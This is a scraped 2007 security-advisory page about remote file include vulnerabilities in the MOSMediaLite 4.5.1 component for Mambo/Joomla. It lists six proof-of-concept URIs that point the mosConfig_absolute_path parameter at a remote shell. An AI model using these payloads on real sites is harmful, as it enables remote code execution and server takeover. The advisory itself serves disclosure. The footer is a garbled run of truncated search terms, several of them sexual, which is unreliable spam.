exploits , vulnerabilities , articles , Mambo/Joomla MOSMediaLite MosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities
| Title |
Mambo/Joomla MOSMediaLite MosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities |
| Published |
2007-10-08-12:00AM |
| Updated |
2007-10-09-10:48PM |
| Class |
Input Validation Error |
| CVE |
|
| Remote |
Yes |
| Local |
No |
| Credit |
k1n9k0ng is credited with the discovery of this vulnerability. |
| Vulnerable |
MOSMediaLite MOSMediaLite 4.5.1
|
| Not Vulnerable |
|
| Code |
Attackers can use a browser to exploit these issues.The following proof-of-concept URIs are available:http://www.example.net/administrator/components/com_mosmedia/includes/credits.html.php?mosConfig_absolute_path=[shell] http://www.example.net/administrator/components/com_mosmedia/includes/info.html.php?mosConfig_absolute_path=[shell] http://www.example.net/administrator/components/com_mosmedia/includes/media.divs.php?mosConfig_absolute_path=[shell] http://www.example.net/administrator/components/com_mosmedia/includes/media.divs.js.php?mosConfig_absolute_path=[shell] http://www.example.net/administrator/components/com_mosmedia/includes/purchase.html.php?mosConfig_absolute_path=[shell] http://www.example.net/administrator/components/com_mosmedia/includes/support.html.php?mosConfig_absolute_path=[shell] |
| TXT |
 |
|
Advertising
|
|
Copyright 2007,
SecurityDot
Sat, 21 Nov 2009 00:53:34 +0000
Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS
EXPLOITS
VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
www.lyjnw. Fuckingvid TRISHA+SEX www.anmo1. Searching geoweb.tv com_akoboo www.sina-v phpbb+grou SUMMIT www.ftflw. Indien pic http://www WWW.Sex18. Girls sex www?.?live bbs.fw1314 http://www http://www Www.Indian news for c Sarah+azar Zeroboard- Sjokoladek indiyansex Jwww.sex.c cgisubscri Searching sign in on Vidio sex cmtv168.bl Actresssex bajojo Sex world all passwo Www.Sexoce http:/secu Sabul sshnuke . news for c Saree &a www.pornsm WWW.XXX.TV fat+sex+wo tutti MN i zenicit.co www.diping www.pornsm
|